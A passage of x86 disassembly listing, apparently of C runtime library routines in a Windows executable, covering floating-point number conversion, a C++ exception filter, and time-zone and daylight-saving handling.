loc_4241EE:				; CODE XREF: sub_4241E8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424200
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4241EE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424200:				; CODE XREF: sub_4241E8+9j
		xor	eax, eax
		retn
sub_4241E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424203	proc near		; CODE XREF: sub_424290+C0p
					; sub_424290+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424239:				; CODE XREF: sub_424203+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424239
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42426B:				; CODE XREF: sub_424203+86j
		cmp	ebx, edi
		jl	short loc_42427E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424285
; ---------------------------------------------------------------------------


loc_42427E:				; CODE XREF: sub_424203+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424285:				; CODE XREF: sub_424203+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42426B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424290	proc near		; CODE XREF: sub_4243FC+Dp
					; sub_424412+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4242FD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4241E8
		test	eax, eax
		pop	ecx
		jnz	loc_4243BC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241DC
		pop	ecx


loc_4242F5:				; CODE XREF: sub_424290+E4j
		push	2


loc_4242F7:				; CODE XREF: sub_424290+110j
		pop	eax
		jmp	loc_4243BE
; ---------------------------------------------------------------------------


loc_4242FD:				; CODE XREF: sub_424290+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4241C1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424135
		add	esp, 10h
		test	eax, eax
		jz	short loc_42431E
		inc	ebx


loc_42431E:				; CODE XREF: sub_424290+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424336
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241DC
		pop	ecx
		jmp	short loc_424372
; ---------------------------------------------------------------------------


loc_424336:				; CODE XREF: sub_424290+98j
		cmp	ebx, eax
		jg	short loc_424379
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241C1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424203
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424135
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424203
		add	esp, 20h


loc_424372:				; CODE XREF: sub_424290+A4j
		xor	esi, esi
		jmp	loc_4242F5
; ---------------------------------------------------------------------------


loc_424379:				; CODE XREF: sub_424290+A8j
		cmp	ebx, [edi]
		jl	short loc_4243A5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4241DC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424203
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4242F7
; ---------------------------------------------------------------------------


loc_4243A5:				; CODE XREF: sub_424290+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424203
		pop	ecx
		pop	ecx


loc_4243BC:				; CODE XREF: sub_424290+55j
		xor	eax, eax


loc_4243BE:				; CODE XREF: sub_424290+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4243ED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4243F7
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424290+14Ej
		cmp	edi, 20h
		jnz	short loc_4243F7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4243F7:				; CODE XREF: sub_424290+15Bj
					; sub_424290+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424290	endp


; =============== S U B	R O U T	I N E =======================================



sub_4243FC	proc near		; CODE XREF: sub_424428+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B008
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424290
		add	esp, 0Ch
		retn
sub_4243FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424412	proc near		; CODE XREF: sub_424455+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B020
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424290
		add	esp, 0Ch
		retn
sub_424412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424428	proc near		; CODE XREF: sub_4218D0+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4250CD
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4243FC
		add	esp, 24h
		leave
		retn
sub_424428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424455	proc near		; CODE XREF: sub_4218D0+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4250CD
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424412
		add	esp, 24h
		leave
		retn
sub_424455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424482	proc near		; CODE XREF: sub_42190E+65p
					; sub_421A12+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4244BF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4244A5:				; CODE XREF: sub_424482+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4244B1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4244B4
; ---------------------------------------------------------------------------


loc_4244B1:				; CODE XREF: sub_424482+27j
		push	30h
		pop	edx


loc_4244B4:				; CODE XREF: sub_424482+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4244A5
		mov	edx, [ebp+arg_8]


loc_4244BF:				; CODE XREF: sub_424482+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4244D8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4244D8


loc_4244CB:				; CODE XREF: sub_424482+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4244D6
		mov	byte ptr [eax],	30h
		jmp	short loc_4244CB
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_424482+4Dj
		inc	byte ptr [eax]


loc_4244D8:				; CODE XREF: sub_424482+42j
					; sub_424482+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4244E2
		inc	dword ptr [edx+4]
		jmp	short loc_4244F4
; ---------------------------------------------------------------------------


loc_4244E2:				; CODE XREF: sub_424482+59j
		push	edi
		call	sub_41B960
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D400
		add	esp, 10h


loc_4244F4:				; CODE XREF: sub_424482+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F9	proc near		; CODE XREF: sub_42190E+3Fp
					; sub_421A12+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42455D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4D9908
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_42559E
		mov	dword_4D9930, eax
		add	esp, 18h
		movsx	eax, byte_4D990A
		mov	dword_4D9928, eax
		pop	edi
		movsx	eax, word_4D9908
		mov	dword_4D992C, eax
		mov	dword_4D9934, offset dword_4D990C
		mov	eax, offset dword_4D9928
		pop	esi
		leave
		retn
sub_4244F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42455D	proc near		; CODE XREF: sub_4244F9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4245AB
		cmp	ebx, edi
		jz	short loc_4245A4
		lea	edi, [ecx+3C00h]
		jmp	short loc_4245CC
; ---------------------------------------------------------------------------


loc_4245A4:				; CODE XREF: sub_42455D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4245CC
; ---------------------------------------------------------------------------


loc_4245AB:				; CODE XREF: sub_42455D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4245C3
		cmp	edx, ebx
		jnz	short loc_4245C3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42460E
; ---------------------------------------------------------------------------


loc_4245C3:				; CODE XREF: sub_42455D+52j
					; sub_42455D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4245CC:				; CODE XREF: sub_42455D+45j
					; sub_42455D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4245E4:				; CODE XREF: sub_42455D+A6j
		test	ecx, esi
		jnz	short loc_424605
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_424605:				; CODE XREF: sub_42455D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42460E:				; CODE XREF: sub_42455D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42455D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E1C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42461C	proc near		; DATA XREF: ___:0043AC40o
					; ___:0043B4A8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42463F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42463F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42463F
		jmp	sub_42249C
; ---------------------------------------------------------------------------


loc_42463F:				; CODE XREF: sub_42461C+Dj
					; sub_42461C+13j ...
		mov	eax, dword_4D9938
		test	eax, eax
		jz	short loc_42465C
		push	eax
		call	sub_4246B8
		test	eax, eax
		pop	ecx
		jz	short loc_42465C
		push	esi
		call	dword_4D9938
		jmp	short loc_42465E
; ---------------------------------------------------------------------------


loc_42465C:				; CODE XREF: sub_42461C+2Aj
					; sub_42461C+35j
		xor	eax, eax


loc_42465E:				; CODE XREF: sub_42461C+3Ej
		pop	esi
		retn	4
sub_42461C	endp

; ---------------------------------------------------------------------------
word_424662	dw 1C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	esi
		inc	edx
		add	[eax+1CC840E8h], dl
		add	ah, byte ptr dword_4D9938[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424673	db 0FFh			; DATA XREF: ___:00429040o
		dd 4D993835h, 0C82FE800h, 0C390021Ch

; =============== S U B	R O U T	I N E =======================================



sub_424680	proc near		; CODE XREF: sub_421CE6+6Bp
					; sub_4221F7+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25F0A8Ah
		test	eax, eax
		jz	short loc_424698
		xor	esi, esi


loc_424698:				; CODE XREF: sub_424680+14j
		mov	eax, esi
		pop	esi
		retn
sub_424680	endp


; =============== S U B	R O U T	I N E =======================================



sub_42469C	proc near		; CODE XREF: sub_4221F7+73p
					; sub_4221F7+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_4246B4
		xor	esi, esi


loc_4246B4:				; CODE XREF: sub_42469C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42469C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246B8	proc near		; CODE XREF: sub_4221F7+15Bp
					; sub_42461C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0A24h
		test	eax, eax
		jz	short loc_4246CC
		xor	esi, esi


loc_4246CC:				; CODE XREF: sub_4246B8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4246B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42249C


loc_4246D0:				; CODE XREF: sub_42249C:loc_4224EDj
		push	0Ah
		call	sub_4234D1
		push	16h
		call	sub_425831
		pop	ecx
		pop	ecx
		push	3
		call	sub_41BF42
; END OF FUNCTION CHUNK	FOR sub_42249C

; =============== S U B	R O U T	I N E =======================================



sub_4246E7	proc near		; CODE XREF: sub_422571:loc_4225B0p
		cmp	dword_4D99F8, 0
		jnz	short locret_4246FB
		call	sub_4246FC
		inc	dword_4D99F8

locret_4246FB:				; CODE XREF: sub_4246E7+7j
		retn
sub_4246E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4246FC	proc near		; CODE XREF: sub_4246E7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4D9940, ebp
		mov	dword_43B0E0, ebx
		mov	dword_43B0D0, ebx
		call	sub_4259A3
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424825
		push	offset dword_4D9948
		call	near ptr 2880000h
		nop
		cmp	eax, ebx
		jz	loc_424954
		mov	eax, dword_4D9948
		mov	ecx, dword_4D999C
		imul	eax, 3Ch
		cmp	word_4D998E, bp
		push	1
		pop	edx
		mov	dword_43B038, eax
		mov	dword_4D9940, edx
		jz	short loc_424773
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43B038, eax


loc_424773:				; CODE XREF: sub_4246FC+69j
		cmp	word_4D99E2, bp
		jz	short loc_424797
		mov	eax, dword_4D99F0
		cmp	eax, ebp
		jz	short loc_424797
		sub	eax, ecx
		mov	dword_43B03C, edx
		imul	eax, 3Ch
		mov	dword_43B040, eax
		jmp	short loc_4247A3
; ---------------------------------------------------------------------------


loc_424797:				; CODE XREF: sub_4246FC+7Ej
					; sub_4246FC+87j
		mov	dword_43B03C, ebp
		mov	dword_43B040, ebp


loc_4247A3:				; CODE XREF: sub_4246FC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_427194
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43B0C4
		push	ebx
		push	offset dword_4D994C
		push	edi
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jz	short loc_4247E0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4247E0
		mov	eax, off_43B0C4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4247E8
; ---------------------------------------------------------------------------


loc_4247E0:				; CODE XREF: sub_4246FC+D1j
					; sub_4246FC+D7j
		mov	eax, off_43B0C4
		and	byte ptr [eax],	0


loc_4247E8:				; CODE XREF: sub_4246FC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43B0C8
		push	ebx
		push	offset dword_4D99A0
		push	edi
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jz	loc_42494C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42494C
		mov	eax, off_43B0C8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424954
; ---------------------------------------------------------------------------


loc_424825:				; CODE XREF: sub_4246FC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424954
		mov	eax, dword_4D99F4
		cmp	eax, ebp
		jz	short loc_424848
		push	eax
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424954


loc_424848:				; CODE XREF: sub_4246FC+139j
		push	dword_4D99F4
		call	sub_41BA31
		push	esi
		call	sub_41B960
		inc	eax
		push	eax
		call	sub_41BC9B
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4D99F4, eax
		jz	loc_424954
		push	esi
		push	eax
		call	sub_41C620
		push	3
		push	esi
		push	off_43B0C4
		call	sub_41BD70
		mov	eax, off_43B0C4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42489D
		push	1
		inc	esi
		pop	edi


loc_42489D:				; CODE XREF: sub_4246FC+19Bj
		push	esi
		call	sub_41BE6E
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43B038, ecx


loc_4248B4:				; CODE XREF: sub_4246FC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4248C2
		cmp	al, bl
		jl	short loc_4248C5
		cmp	al, 39h
		jg	short loc_4248C5


loc_4248C2:				; CODE XREF: sub_4246FC+1BCj
		inc	esi
		jmp	short loc_4248B4
; ---------------------------------------------------------------------------


loc_4248C5:				; CODE XREF: sub_4246FC+1C0j
					; sub_4246FC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424918
		inc	esi
		push	esi
		call	sub_41BE6E
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43B038
		add	ecx, eax
		mov	dword_43B038, ecx


loc_4248E3:				; CODE XREF: sub_4246FC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4248F0
		cmp	al, 39h
		jg	short loc_4248F0
		inc	esi
		jmp	short loc_4248E3
; ---------------------------------------------------------------------------


loc_4248F0:				; CODE XREF: sub_4246FC+1EBj
					; sub_4246FC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424918
		inc	esi
		push	esi
		call	sub_41BE6E
		pop	ecx
		mov	ecx, dword_43B038
		add	ecx, eax
		mov	dword_43B038, ecx


loc_42490B:				; CODE XREF: sub_4246FC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424918
		cmp	al, 39h
		jg	short loc_424918
		inc	esi
		jmp	short loc_42490B
; ---------------------------------------------------------------------------


loc_424918:				; CODE XREF: sub_4246FC+1CCj
					; sub_4246FC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424924
		neg	ecx
		mov	dword_43B038, ecx


loc_424924:				; CODE XREF: sub_4246FC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43B03C, eax
		jz	short loc_42494C
		push	3
		push	esi
		push	off_43B0C8
		call	sub_41BD70
		mov	eax, off_43B0C8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424954
; ---------------------------------------------------------------------------


loc_42494C:				; CODE XREF: sub_4246FC+10Bj
					; sub_4246FC+115j ...
		mov	eax, off_43B0C8
		and	byte ptr [eax],	0


loc_424954:				; CODE XREF: sub_4246FC+40j
					; sub_4246FC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4246FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42495A	proc near		; CODE XREF: sub_422571+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43B03C, edi
		jnz	short loc_42496E


loc_424967:				; CODE XREF: sub_42495A+148j
					; sub_42495A+150j ...
		xor	eax, eax
		jmp	loc_424ABA
; ---------------------------------------------------------------------------


loc_42496E:				; CODE XREF: sub_42495A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43B0D0
		jnz	short loc_42498C
		cmp	eax, dword_43B0E0
		jz	loc_424A8E


loc_42498C:				; CODE XREF: sub_42495A+24j
		cmp	dword_4D9940, edi
		jz	loc_424A64
		movzx	ecx, word_4D99EE
		push	ecx
		cmp	word_4D99E0, di
		movzx	ecx, word_4D99EC
		push	ecx
		movzx	ecx, word_4D99EA
		push	ecx
		movzx	ecx, word_4D99E8
		push	ecx
		jnz	short loc_4249DE
		movzx	ecx, word_4D99E4
		push	edi
		push	ecx
		movzx	ecx, word_4D99E6
		push	ecx
		movzx	ecx, word_4D99E2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4249F2
; ---------------------------------------------------------------------------


loc_4249DE:				; CODE XREF: sub_42495A+65j
		movzx	ecx, word_4D99E6
		push	ecx
		push	edi
		movzx	ecx, word_4D99E2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4249F2:				; CODE XREF: sub_42495A+82j
		push	ebx
		call	sub_424B06
		movzx	eax, word_4D999A
		add	esp, 2Ch
		cmp	word_4D998C, di
		push	eax
		movzx	eax, word_4D9998
		push	eax
		movzx	eax, word_4D9996
		push	eax
		movzx	eax, word_4D9994
		push	eax
		jnz	short loc_424A4C
		movzx	eax, word_4D9990
		push	edi
		push	eax
		movzx	eax, word_4D9992
		push	eax
		movzx	eax, word_4D998E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424A41:				; CODE XREF: sub_42495A+108j
		push	edi
		call	sub_424B06
		add	esp, 2Ch
		jmp	short loc_424A8E
; ---------------------------------------------------------------------------


loc_424A4C:				; CODE XREF: sub_42495A+C8j
		movzx	eax, word_4D9992
		push	eax
		push	edi
		movzx	eax, word_4D998E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424A41
; ---------------------------------------------------------------------------


loc_424A64:				; CODE XREF: sub_42495A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424B06
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424B06
		add	esp, 58h


loc_424A8E:				; CODE XREF: sub_42495A+2Cj
					; sub_42495A+F0j
		mov	edx, dword_43B0D4
		mov	eax, dword_43B0E4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424ABE
		cmp	ecx, edx
		jl	loc_424967
		cmp	ecx, eax
		jg	loc_424967
		cmp	ecx, edx
		jle	short loc_424AD2
		cmp	ecx, eax
		jge	short loc_424AD2


loc_424AB8:				; CODE XREF: sub_42495A+166j
					; sub_42495A+16Aj
		mov	eax, ebx


loc_424ABA:				; CODE XREF: sub_42495A+Fj
					; sub_42495A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424ABE:				; CODE XREF: sub_42495A+144j
		cmp	ecx, eax
		jl	short loc_424AB8
		cmp	ecx, edx
		jg	short loc_424AB8
		cmp	ecx, eax
		jle	short loc_424AD2
		cmp	ecx, edx
		jl	loc_424967


loc_424AD2:				; CODE XREF: sub_42495A+158j
					; sub_42495A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424AF9
		xor	ecx, ecx
		cmp	eax, dword_43B0D8
		setnl	cl


loc_424AF5:				; CODE XREF: sub_42495A+1AAj
		mov	eax, ecx
		jmp	short loc_424ABA
; ---------------------------------------------------------------------------


loc_424AF9:				; CODE XREF: sub_42495A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43B0E8
		setl	cl
		jmp	short loc_424AF5
sub_42495A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B06	proc near		; CODE XREF: sub_42495A+99p
					; sub_42495A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424BA1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424B31
		shl	esi, 2
		mov	eax, dword_43B0E8[esi]
		jmp	short loc_424B3A
; ---------------------------------------------------------------------------


loc_424B31:				; CODE XREF: sub_424B06+1Ej
		shl	esi, 2
		mov	eax, dword_43B11C[esi]


loc_424B3A:				; CODE XREF: sub_424B06+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
